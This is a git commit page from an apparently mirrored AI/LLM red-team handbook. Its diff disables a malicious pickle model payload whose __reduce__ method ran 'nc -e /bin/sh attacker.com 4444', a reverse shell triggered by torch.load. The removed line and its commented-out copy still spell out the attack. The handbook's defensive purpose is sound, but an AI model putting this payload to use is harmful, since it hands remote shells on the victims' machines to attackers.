mirror of
https://github.com/Shiva108/ai-llm-red-team-handbook.git
synced 2026-08-27 21:30:27 +02:00
feat: Enhance security by disabling RCE payloads, using environment variables for API keys, improving security test error handling, and refining socket resource management.
This commit is contained in:
@@ -15,7 +15,10 @@ import sys
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
# This command runs when the victim does `torch.load('model.bin')`
|
||||
return (os.system, ('nc -e /bin/sh attacker.com 4444',))
|
||||
# SECURITY WARNING: The following line is commented out to prevent accidental RCE durng scans.
|
||||
# return (os.system, ('nc -e /bin/sh attacker.com 4444',))
|
||||
print("[-] RCE payload disabled for security.")
|
||||
return (print, ("RCE payload disabled",))
|
||||
|
||||
# Generating the payload
|
||||
# payload = pickle.dumps(MaliciousModel())
|
||||
|
||||
Reference in New Issue
Block a user